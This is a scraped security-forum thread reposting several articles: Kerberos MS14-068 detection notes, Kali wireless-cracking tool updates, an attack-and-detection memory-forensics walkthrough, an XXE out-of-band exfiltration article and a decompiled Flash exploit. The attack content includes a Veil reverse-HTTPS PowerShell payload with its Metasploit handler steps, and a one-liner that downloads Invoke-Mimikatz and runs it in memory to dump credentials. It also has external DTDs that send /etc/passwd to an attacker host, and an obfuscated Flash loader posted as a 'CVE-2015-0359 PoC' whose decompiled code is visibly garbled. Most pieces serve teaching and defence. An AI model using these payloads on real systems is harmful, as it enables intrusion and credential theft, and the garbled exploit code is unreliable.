LAB.ADSECURITY.ORG [ADSECLAB] Event ID: 4672 (Admin Logon) Account Domain is blank & should be short domain name Account Domain: _______________ [ADSECLAB] MS14-068 Exploit Ticket Detection MS14-068 events may have one of these issues: The Account Domain field is blank when it should be DOMAIN The Account Domain field is DOMAIN FQDN when it should be DOMAIN. Account Name is a different account from the Security ID. PYKEK Events Event ID: 4624 (Account Logon) The Account Domain field is DOMAIN FQDN when it should be DOMAIN. Account Name is a different account from the Security ID Event ID: 4672 (Admin Logon) The Account Domain field is DOMAIN FQDN when it should be DOMAIN. Account Name is a different account from the Security ID Event ID: 4768 (Kerberos TGS Request) The Account Domain field is DOMAIN FQDN when it should be DOMAIN. KEKEO Events Event ID: 4624 (Account Logon) The Account Domain field is DOMAIN FQDN when it should be DOMAIN. Event ID: 4672 (Admin Logon) Account Domain is blank & should be DOMAIN. Event ID: 4768 (Kerberos TGS Request) The Account Domain field is DOMAIN FQDN when it should be DOMAIN. Sursa: http://adsecurity.org/?p=1515
-
Pixiewps, Reaver & Aircrack-ng Wireless Penetration Testing Tool Updates May 4, 2015 g0tmi1k Penetration Testing A short while ago, we packaged and pushed out a few important wireless penetration testing tool updates for aircrack-ng, pixiewps and reaver into Kali’s repository. These new additions and updates are fairly significant, and may even change your wireless attack workflows. Here’s a short run-down of the updates and the changes they bring. Pixiewps – Bruteforce WPS pins in seconds Pixiewps is a tool used for offline brute forcing of WPS pins, while exploiting the low or non-existing entropy of some wireless access points also known as the pixie dust attack, discovered by Dominique Bongard (slides and video). The pixiewps tool (developed by wiire), was born out of the Kali forums, and the development of the tool can be tracked throughout an interesting forum post. In the correct environment, pixiewps dramatically speeds up the WPS brute force attack time from what was taking up to 12 hours to a . This new attack is mind numbing, and we are somewhat surprised that it hasn’t been discussed on a wider basis. Watch our following video closely, and see how we extract the WPA shared key of this EdiMAX wireless access point in a few seconds using updated versions of pixiewps and reaver, already packaged in Kali: . Aircrack-ng v1.2 RC2 Update Aircrack-ng is the de facto penetration tool suite – essential for any wireless penetration tests or assessments. In this latest Aircrack-ng release, amongst the normal bug fixes and code improvements there has been a significant change to airmon-ng, the tool used to put wireless cards into monitor mode. Other new and notable features are that airtun-ng is now able to decrypt WPA as well as several new airodump-ng flags, such as – -wps and – -uptime. pixiewps reaver aircrack-ng Also notice the new naming convention of the wireless virtual interfaces – wlanXmon, as opposed to monX. Goodbye mon0, hello wlan0mon! For the latest few releases, the aircrack-ng suite had bundled with it aircrack-zc, which uses an improved method of placing wireless cards into monitor mode, as well as more verbose output options. With the release of Aircrack-ng 1.2 RC2, aircrack-zc has officially replaced the original aircrack-ng, as the new standard. More verbose airmon-ng output When things are going right, everything is great! However when this isn’t the case, and you need to troubleshoot wireless issues, you can now use a single command airmon-ng –verbose start wlan0 to gather all the relent information needed. root@kali:~# airmon-ng --verbose start wlan0 No interfering processes found No LSB modules are available. Distributor ID: Kali Description: Kali GNU/Linux 1.1.0 Release: 1.1.0 Codename: moto Linux kali 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) x86_64 GNU/Linux Detected VM using dmi_info This appears to be a VMware Virtual Machine If your system supports VT-d, it may be possible to use PCI devices If your system does not support VT-d, you can only use USB wifi cards K indicates driver is from 3.18.0-kali3-amd64 V indicates driver comes directly from the vendor, almost certainly a bad thing S indicates driver comes from the staging tree, these drivers are meant for reference not actual use, BEWARE ? indicates we do not know where the driver comes from... report this X[PHY]Interface Driver[stack]-FirmwareRev Chipset Extended Info K[phy0]wlan0 rtl8187[mac80211]-N/A Realtek Semiconductor Corp. RTL8187 (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0) root@kali:~# You can find aircrack-ng’s full change log at the following address: http://www.aircrack-ng.org/doku.php?id=airmon-ng. Updated Reaver WPS attack tool The reaver project was originally developed by Craig Heffner, and the last release was 1.4. As the project seems to have been abandoned, several forks have cropped up – one belonging to a member of the Kali forums, t6_x, who has also integrated the pixiewps attack into a newly minted 1.5.2 release. This new version implements an array of improvements on the original version, and will hopefully be activity maintained by the community. The Kali Community Rocks One of the advantages of being a Kali forum moderator is that you get to witness the community grow and interact. Since the original pixiewps thread started by soxrok2212, it has received over 300 responses, bringing about the implementation of new ideas and updates to the tool. Watching this project emerge from a single forum post all the way to the release of the tool, and seeing the co-operation between the various tool developers while working to get interoperability between their tools was a real privilege. Stay fresh with Kali-Linux You don’t need to do anything special to get this awesome tool chain, just keep your Kali-Linux up-to-date: apt-get update apt-get dist-upgrade Happy penetration testing! Sursa: https://www.kali.org/penetration-testing/pixiewps-reaver-aircrack-ng-updates/
-
[h=3]toolsmith: Attack & Detection: Hunting in-memory adversaries with Rekall and WinPmem[/h]Prerequisites Any Python-enable system if running from source There is a standalone exe with all dependencies met, available for Windows Introduction This month represents our annual infosec tools edition, and I’ve got a full scenario queued up for you. We’re running with a vignette based in absolute reality. When your organizations are attacked (you already have been) and a compromise occurs (assume it will) it may well follow a script (pun intended) something like this. The most important lesson to be learned here is how to assess attacks of this nature, recognizing that little or none of the following activity will occur on the file system, instead running in memory. When we covered Volatility in September 2011 we invited readers to embrace memory analysis as an absolutely critical capability for incident responders and forensic analysts. This month, in a similar vein, we’ll explore Rekall. The project’s point man, Michael Cohen branched Volatility, aka the scudette branch, in December 2011, as a Technology Preview. In December 2013, it was completely forked and became Rekall to allow inclusion in GRR as well as methods for memory acquisition, and to advance the state of the art in memory analysis. The 2nd of April, 2015, saw the release of Rekall 1.3.1 Dammastock, named for Dammastock Mountain in the Swiss Alps. An update release to 1.3.2 was posted to Github 26 APR 2015. Michael provided personal insight into his process and philosophy, which I’ll share verbatim in part here: “For me memory analysis is such an exciting field. As a field it is wedged between so many other disciplines - such as reverse engineering, operating systems, data structures and algorithms. Rekall as a framework requires expertise in all these fields and more. It is exciting for me to put memory analysis to use in new ways. When we first started experimenting with live analysis I was surprised how reliable and stable this was. No need to take and manage large memory images all the time. The best part was that we could just run remote analysis for triage using a tool like GRR - so now we could run the analysis not on one machine at the time but several thousand at a time! Then, when we added virtual machine introspection support we could run memory analysis on the VM guest from outside without any special support in the hypervisor - and it just worked!” While we won’t cover GRR here, recognize that the ability to conduct live memory analysis across thousands of machines, physical or virtual, without impacting stability on target systems is a massive boon for datacenter and cloud operators. Scenario Overview We start with the assertion that the red team’s attack graph is the blue team’s kill chain. Per Captain Obvious: The better defenders (blue team) understand attacker methods (red team) the more able they are to defend against them. Conversely, red teamers who are aware of blue team detection and analysis tactics, the more readily they can evade them. As we peel back this scenario, we’ll explore both sides of the fight; I’ll walk you through the entire process including attack and detection. I’ll evade and exfiltrate, then detect and define. As you might imagine the attack starts with a targeted phishing attack. We won’t linger here, you’ve all seen the like. The key take away for red and blue, the more enticing the lure, the more numerous the bites. Surveys promising rewards are particularly successful, everyone wants to “win” something, and sadly, many are willing to click and execute payloads to achieve their goal. These folks are the red team’s best friend and the blue team’s bane. Once the payload is delivered and executed for an initial foothold, the focus moves to escalation of privilege if necessary and acquisition of artifacts for pivoting and exploration of key terrain. With the right artifacts (credentials, hashes), causing effect becomes trivial, and often leads to total compromise. For this exercise, we’ll assume we’ve compromised a user who is running their system with administrative privileges, which sadly remains all too common. With some great PowerShell and the omniscient and almighty Mimikatz, the victim’s network can be your playground. I’ll show you how. ATTACK Keep in mind, I’m going into some detail here regarding attack methods so we can then play them back from the defender’s perspective with Rekall, WinPmem, and VolDiff. Veil All good phishing attacks need a great payload, and one of the best ways to ensure you deliver one is Christopher Truncer’s (@ChrisTruncer) Veil-Evasion, part of the Veil-Framework. The most important aspect of Veil use is creating payload that evade antimalware detection. This limits attack awareness for the monitoring and incident response teams as no initial alerts are generated. While the payload does land on the victim’s file system, it’s not likely to end up quarantined or deleted, happily delivering its expected functionality. I installed Veil-Evasion on my Kali VM easily: 1) apt-get install veil 2) cd /usr/share/veil-evasion/setup 3) ./setup.sh Thereafter, to run Veil you need only execute veil-evasion. Veil includes 35 payloads at present, choose list to review them. I chose 17) powershell/meterpreter/rev_https as seen in Figure 1. [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Figure 1 – Veil payload options[/TD] [/TR] [/TABLE] I ran set LHOST 192.168.177.130 for my Kali server acting as the payload handler, followed by info to confirm, and generate to create the payload. I named the payload toolsmith, which Veil saved as toolsmith.bat. If you happened to view the .bat file in a text editor you’d see nothing other than what appears to be a reasonably innocuous PowerShell script with a large Base64 string. Many a responder would potentially roll right past the file as part of normal PowerShell administration. In a real-world penetration test, this would be the payload delivered via spear phishing, ideally to personnel known to have privileged access to key terrain. Metasploit This step assumes our victim has executed our payload in a time period of our choosing. Obviously set up your handlers before sending your phishing mail. I will not discuss persistence here for brevity’s sake but imagine that an attacker will take steps to ensure continued access. Read Fishnet Security’s How-To: Post-ExPersistence Scripting with PowerSploit & Veil as a great primer on these methods. Again, on my Kali system I set up a handler for the shell access created by the Veil payload. 1) cd /opt/metasploit/app/ 2) msfconsole 3) use exploit/multi/handler 4) set payload windows/meterpreter/reverse_https 5) set lhost 192.168.177.130 6) set lport 8443 7) set exitonsession false 8) run exploit –j At this point back returns you to the root msf > prompt. When the victim executes toolsmith.bat, the handler reacts with a Meterpreter session as seen in Figure 2. [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Figure 2 – Victim Meterpreter session[/TD] [/TR] [/TABLE] Use sessions –l to list sessions available, use sessions -i 2 to use the session seen in Figure 2. I know have an interactive shell with the victim system and have some options. As I’m trying to exemplify running almost entirely in victim memory, I opted to not to copy additional scripts to the victim, but if I did so it would be another PowerShell script to make use of Joe Bialek’s (@JosephBialek) Invoke-Mimikatz, which leverages Benjamin Delpy’s (@gentilkiwi) Mimikatz. Instead I pulled down Joe’s script directly from Github and ran it directly in memory, no file system attributes. To do so from the Meterpreter session, I executed the following. 1) shell 2) getsystem (if the user is running as admin you’ll see “got system”) 3) spool /root/meterpreter_output.txt 4) powershell.exe "iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds" A brief explanation here. The shell command spawns a command prompt on the victim system, getsystem ensures that you’re running as local system (NT AUTHORITY\SYSTEM) which is important when you’re using Joe’s script to leverage Mimikatz 2.0 along with Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. Again our goal here is to conduct activity such as dumping credentials without ever writing the Mimikatz binary to the victim file system. Our last line does so in an even craftier manner. To prevent the need to write out put to the victim file system I used the spool command to write all content back to a text file on my Kali system. I used PowerShell’s ability to read in Joe’s script directly from Github into memory and poach credentials accordingly. Back on my Kali system a review of /root/meterpreter_output.txt confirms the win. Figure 3 displays the results. [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Figure 3 – Invoke-Mimikatz for the win![/TD] [/TR] [/TABLE] If I had pivoted from this system and moved to a heavily used system such as a terminal server or an Exchange server, I may have acquired domain admin credentials as well. I’d certainly have acquired local admin credentials, and no one ever uses the same local admin credentials across multiple systems, right? ;-) Remember, all this, with the exception of a fairly innocent looking initial payload, toolsmith.bat, took place in memory. How do we spot such behavior and defend against it? Time for Rekall and WinPmem, because they “can remember it for you wholesale!” DEFENSE Rekall preparation Installing Rekall on Windows is as easy as grabbing the installer from Github, 1.3.2 as this is written. On x64 systems it will install to C:\Program Files\Rekall, you can add this to your PATH so you can run Rekall from anywhere. WinPmem WinPmem 1.6.2 is the current stable version and WinPmem 2.0 Alpha is the development release. Both are included on the project Github site. Having an imager embedded with the project is a major benefit, and it’s developed against with a passion. Running WinPmem for live response is as simple as winpmem.exe –l to load the driver so you launch Rekall to mount the winpmem device with rekal -f \\.\pmem (this cannot be changed) for live memory analysis. Rekall use There are a few ways to go about using Rekall. You can take a full memory image, locally with WinPmem, or remotely with GRR, and bring the image back to your analysis workstation. You can also interact with memory on the victim system in real-time live response, which is what differentiates Rekall from Volatility. On the Windows 7 x64 system I compromised with the attack described above I first ran winpmem_1.6.2.exe compromised.raw and shipped the 4GB memory image to my workstation. You can simply run rekal which will drop you into the interactive shell. As an example I ran, rekal –f D:\forensics\memoryImages\toolsmith\compromised.raw, then from the shell ran various plugins. Alternatively I could have run rekal –f D:\forensics\memoryImages\toolsmith\compromised.raw netstat at a standard command prompt for the same results. The interactive shell is the “most powerful and flexible interface” most importantly because it allows session management and storage specific to an image analysis. Suspicious Indicator #1 From the interactive shell I started with the netstat plugin, as I always do. Might as well see who it talking to who, yes? We’re treated to the instant results seen in Figure 4. [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Figure 4 – Rekall netstat plugin shows PowerShell with connections[/TD] [/TR] [/TABLE] Yep, sure enough we see a connection to our above mention attacker at 192.168.177.130, the “owner” is attributed to powershell.exe and the PIDs are 1284 and 2396. Suspicious Indicator #2 With the pstree plugin we can determine the parent PIDs (PPID) for the PowerShell processes. What’s odd here from a defender’s perspective is that each PowerShell process seen in the pstree (Figure 5) is spawned from cmd.exe. While not at all conclusive, it is at least intriguing. [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Figure 5 – Rekall pstree plugin shows powershell.exe PPIDs[/TD] [/TR] [/TABLE] Suspicious Indicator #3 I used malfind to find hidden or injected code/DLLs and dump the results to a directory I was scanning with an AV engine. With malfind pid=1284, dump_dir="/tmp/" I received feedback on PID 1284 (repeated for 2396), with indications specific to Trojan:Win32/Swrort.A. From the MMPC write-up: “Trojan:Win32/Swrort.A is a detection for files that try to connect to a remote server. Once connected, an attacker can perform malicious routines such as downloading other files. They can be installed from a malicious site or used as payloads of exploit files. Once executed, Trojan:Win32/Swrort.A may connect to a remote server using different port numbers.” Hmm, sound familiar from the attack scenario above? ;-) Note that the netstat plugin found that powershell.exe was connecting via 8443 (a “different” port number). Suspicious Indicator #4 To close the loop on this analysis, I used memdump for a few key reasons. This plugin dumps all addressable memory in a process, enumerates the process page tables and writes them out into an external file, creates an index file useful for finding the related virtual address. I did so with memdump pid=2396, dump_dir="/tmp/", ditto for PID 1284. You can use the .dmp output to scan for malware signatures or other patterns. One such method is strings keyword searches. Given that we are responding to what we can reasonably assert is an attack via PowerShell a keyword-based string search is definitely in order. I used my favorite context-driven strings tool and searched for invoke against powershell.exe_2396.dmp. The results paid immediate dividends, I’ve combined to critical matches in Figure 6. [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Figure 6 – Strings results for keyword search from memdump output[/TD] [/TR] [/TABLE] Suspicions confirmed, this box be owned, aargh! The strings results on the left show the initial execution of the PowerShell payload, most notably including the Hidden attribute and the Bypass execution policy followed by a slew of Base64 that is the powershell/meterpreter/rev_https payload. The strings results on the left show when Invoke-Mimikatz.ps1 was actually executed. Four quick steps with Rekall and we’ve, in essence, reversed the steps described in the attack phase. Remember too, we could just as easily have conducted these same step on a live victim system with the same plugins via the following: rekal -f \\.\pmem netstat rekal -f \\.\pmem pstree rekal -f \\.\pmem malfind pid=1284, dump_dir="/tmp/" rekal -f \\.\pmem memdump pid=2396, dump_dir="/tmp/" In Conclusion In celebration of the annual infosec tools addition, we’ve definitely gone a bit hog wild, but because it has been for me, I have to imagine you’ll find this level of process and detail useful. Michael and team have done wonderful work with Rekall and WinPmem. I’d love to hear your feedback on your usage, particularly with regard to close, cooperative efforts between your red and blue teams. If you’re not yet using these tools yet, you should be, and I recommend a long, hard look at GRR as well. I’d also like to give more credit where it’s due. In addition to Michael Cohen, other tools and tactics here were developed and shared by people who deserve recognition. They include Microsoft’s Mike Fanning, root9b’s Travis Lee (@eelsivart), and Laconicly’s Billy Rios (@xssniper). Thank you for everything, gentlemen. Ping me via email or Twitter if you have questions (russ at holisticinfosec dot org or @holisticinfosec). Cheers…until next month. Acknowledgements Michael Cohen, Rekall/GRR developer and project lead (@scudette) Posted by Russ McRee at 8:50 AM Sursa: http://holisticinfosec.blogspot.ro/2015/05/toolsmith-attack-detection-hunting-in.html
-
Si bozgorii?
-
Forcing XXE Reflection through Server Error Messages
Nytro replied to Nytro's topic in Securitate web
Daca afiseaza numele fisierului (care contine entitatea respectiva, adica continutul /etc/passwd) atunci ar trebui sa fie afisat complet. Da, depinde si de asta, dar e o idee care poate fi utila. -
Forcing XXE Reflection through Server Error Messages Antti Rantasaari | May 4, 2015 XML External Entity (XXE) injection attacks are a simple way to extract files from a remote server via web requests. For easy use of XXE, the server response must include a reflection point that displays the injected entity (remote file) back to the client. Below is an example of a common XXE injection request and response. The injections have been bolded in red. HTTP Request: POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 288 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <search>name</search> <value>&netspi;</value> </root> HTTP Response: HTTP/1.1 200 OK Content-Type: application/xml Content-Length: 2467 <?xml version="1.0" encoding="UTF-8"?> <errors> <error>no results for name root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync.... </error> </errors> However, it’s also very common for nothing to be returned in the error response if the application doesn’t reflect any user input back to the client. This can make simple XXE attacks harder. If connections are allowed to remote systems from the vulnerable server then it’s possible to use an external DTD to extract local files via web requests. This technique has been covered in greater detail at this whitepaper but below is an overview of how the modified XXE injection technique works and can be executed. Host a .dtd file on a web server that is accessible from the vulnerable system. In my example the “netspi.dtd” file is hosted on xxe.netspi.com. The DTD file contains a XXE injection that will send the contents of the /etc/password file to the web server at Not Found. <!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % param1 '<!ENTITY % external SYSTEM "http://xxe.netspi.com/x=%payload;">'> %param1; %external; Next, the attack can be executed by referencing the hosted DTD file as shown below. The request does not even have to contain any XML body, for as long as the server processes XML requests. HTTP Request: POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 139 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo SYSTEM "http://xxe.netspi.com/netspi.dtd"> <root> <search>name</search> </root> At this point the XXE attack results in a connection to xxe.netspi.com to load the external DTD file. The hosted DTD file then uses parameter entities to wrap the contents of the /etc/passwd file into another HTTP request to xxe.netspi.com. Now it may be possible to extract the contents of /etc/passwd file without having a reflection point on the page itself, but by reading incoming traffic on xxe.netspi.com. The file contents can be parsed from web server logs or from an actual page. I should note that only a single line of /etc/passwd can be read using this method, or the HTTP request may fail altogether because of line breaks in the target file. There is another option though. In some cases it’s also possible to make data extraction easier by forcing an error on the server by adding an invalid URI to the request. Below is an example of a modified DTD: <!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external; If the server displays verbose errors to client, the error may contain the file contents of the file that’s getting extracted. Below is an example: HTTP Response: HTTP/1.1 500 Internal Server Error Content-Type: application/xml Content-Length: 2467 <?xml version="1.0" encoding="UTF-8"?><root> <errors> <errorMessage>java.io.FileNotFoundException: file:///nothere/root:x:0:0:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync.... The invalid file path causes a “FileNotFoundException”, and an error message that contains /etc/passwd file contents. This same technique was recently covered in this Drupal XXE whitepaper as well but as I had the blog written I thought I could as well publish it References https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf Sursa: https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/
-
Flash_Exploit.SWF CVE-2015-0359 PoC BY: _D3F4ULT package { public class $1$6$7$@120984$cQhWvZ56 { } $1$6$7$@120984$cQhWvZ56 = [OP_NEWCLASS ClassInfo:0 base:Object]; 34643$OfA2FuRBJ#@ = [OP_NEWCLASS ClassInfo:1 base:MovieClip]; 3m3qT@@9jm4 = [OP_NEWCLASS ClassInfo:2 base:Object]; 6KovfYYrEFkW = [OP_NEWCLASS ClassInfo:3 base:ByteArray]; }//package import flash.display.*; import flash.system.*; import flash.utils.*; package { public class 34643$OfA2FuRBJ#@ extends MovieClip { private var 13AFv7jyfFP; private var YWH9DbQhT:Class; private var 65%$uHPix2Gq4k%ss = "ToStage"; private var _StrPool46:uint = 0; private var %%Awjftgdfe^&:uint = 0; private var X4O3S0e:uint = 0xFF; private var 3eMXkL2fIA; private var 86OI8FG3RS4; public function 34643$OfA2FuRBJ#@(_arg1:Object=null){ Security[((("al" + "low") + "Dom") + "ain")]("*"); var _local2:* = ApplicationDomain[(("current" + "Do") + "main")]; this.65%$uHPix2Gq4k%ss = (("ad" + "ded") + this.65%$uHPix2Gq4k%ss); var _local4 = (_local2[("getD" + "efinition")]("flash.display.Loader") as Class); this.13AFv7jyfFP = new (_local4)(); this.YWH9DbQhT = (_local2[("getD" + "efinition")]("flash.utils.ByteArray") as Class); if (this["stage"]){ this.4kjf1flZV1ZTA7(); } else { this["addEventListener"](this.65%$uHPix2Gq4k%ss, this.4kjf1flZV1ZTA7); }; } public function EmptyHandler(_arg1:Object, _arg2:int):void{ _arg2++; } private function 4kjf1flZV1ZTA7(_arg1:Object=null):void{ this[(("rem" + "oveEven") + "tListener")](this.65%$uHPix2Gq4k%ss, this.4kjf1flZV1ZTA7); this["addEventListener"]("enterFrame", this.TVN3N5UQ); var _local2:* = new 6KovfYYrEFkW(); var _local3:* = new this.YWH9DbQhT(); this.$$!!323tr(); this.ym9LDy3rDi8Fz(_local2, _local2["length"], _local3); this.gzZrsob66e0cB6oT(_local3); var _local4:uint = 91; var _local5 = 0; if ((_local5 < _local3["length"])){ var _local6:uint = (_local3[_local5] ^ _local4); _local4 = _local3[_local5]; _local3[_local5] = _local6; _local5++; //unresolved jump }; var _local8 = "com"; _local3[((("un" + _local8) + "pres") + "s")](); this.13AFv7jyfFP[("load" + "Bytes")](_local3); this[("add" + "Child")](this.13AFv7jyfFP); //unresolved jump !ERROR! return; } private function TVN3N5UQ(_arg1):void{ if ((this.currentFrame == 200)){ this.gotoAndPlay(new Number(2)); return; }; } private function $$!!323tr():void{ this.3eMXkL2fIA = new this.YWH9DbQhT(); this.86OI8FG3RS4 = new this.YWH9DbQhT(); var _local2:int; _local2 = 65; if ((_local2 < 91)){ this.86OI8FG3RS4["writeByte"](_local2); _local2++; //unresolved jump }; _local2 = 97; if ((_local2 < 123)){ this.86OI8FG3RS4["writeByte"](_local2); _local2++; //unresolved jump }; _local2 = 48; if ((_local2 < 58)){ this.86OI8FG3RS4["writeByte"](_local2); _local2++; //unresolved jump }; _local2 = 33; if ((_local2 < 48)){ if ((((((_local2 == 34)) || ((_local2 == 39)))) || ((_local2 == 45)))){ } else { this.86OI8FG3RS4["writeByte"](_local2); }; _local2++; //unresolved jump }; _local2 = 58; if ((_local2 < 65)){ this.86OI8FG3RS4["writeByte"](_local2); _local2++; //unresolved jump }; _local2 = 91; if ((_local2 < 97)){ if ((_local2 == 92)){ } else { this.86OI8FG3RS4["writeByte"](_local2); }; _local2++; //unresolved jump }; _local2 = 123; if ((_local2 < 127)){ this.86OI8FG3RS4["writeByte"](_local2); _local2++; //unresolved jump }; this.86OI8FG3RS4["writeByte"](34); var _local3:int; _local3 = 0; if ((_local3 < 0xFF)){ this.3eMXkL2fIA[_local3] = 0xFF; _local3++; //unresolved jump }; _local3 = 0; if ((_local3 < this.86OI8FG3RS4["length"])){ this.3eMXkL2fIA[this.86OI8FG3RS4[_local3]] = _local3; _local3++; //unresolved jump }; } public function gzZrsob66e0cB6oT(_arg1):uint{ var _local2:uint = 0; if (!((this.X4O3S0e == 0xFF))){ _arg1[_arg1["length"]] = (this._StrPool46 | (this.X4O3S0e << this.%%Awjftgdfe^&)); _local2 = (_local2 + 1); }; return (_local2); } public function ym9LDy3rDi8Fz(_arg1, _arg2:uint, _arg3):uint{ var _local4 = 0; var _local5:uint = 0; _local4 = 0; if ((_local4 < _arg2)){ if ((this.3eMXkL2fIA[_arg1[_local4]] == 0xFF)){ } else { if ((this.X4O3S0e == 0xFF)){ this.X4O3S0e = this.3eMXkL2fIA[_arg1[_local4]]; } else { this.X4O3S0e = (this.X4O3S0e + (this.3eMXkL2fIA[_arg1[_local4]] * this.86OI8FG3RS4["length"])); this._StrPool46 = (this._StrPool46 | (this.X4O3S0e << this.%%Awjftgdfe^&)); this.%%Awjftgdfe^& = (this.%%Awjftgdfe^& + ((((this.X4O3S0e & 8191) > 88)) ? 13 : 14)); var _local7 = _local5; _local5 = (_local7 + 1); _arg3[_local7] = (this._StrPool46 & 0xFF); this._StrPool46 = (this._StrPool46 >> 8); this.%%Awjftgdfe^& = (this.%%Awjftgdfe^& - 8); //unresolved if this.X4O3S0e = 0xFF; }; }; _local4++; //unresolved jump }; return (_local5); } } }//package package { public class 3m3qT@@9jm4 { } }//package package { public class 6KovfYYrEFkW extends ByteArray { public function 9IRh0mi4XOG():void{ } public function A3Ig1if():int{ return (0); } } }//package "twitter.com/_d3f4ult"Via: http://pastebin.com/5nnP7X0x
-
Writing a Metasploit post exploitation module April 6, 2015 Ionut Popescu The exploitation of a machine is only a step in a penetration test. What you do next? How can you pivot from the exploited machine to other machines in the network? This is the step where you need to prove you post exploitation skills. Even if Metasploit is a complex framework, it is not complete and you can extend it. Why would I write one? Metasploit is the “World’s most used penetration testing software”, it contains a huge collection of modules, but it is not complete and you can customize it by writing your own modules.Even if you manage to compromise a machine, you may ask yourself: “Now what?”. You can use one of the many Metasploit post exploitation modules, but what if you don’t find a suitable module for you? You may request it to the Metasploit community and developers but it may take a lot of time until it will be available. So why don’t you try to write your own module? Articol complet: Writing a Metasploit post exploitation module – Security Café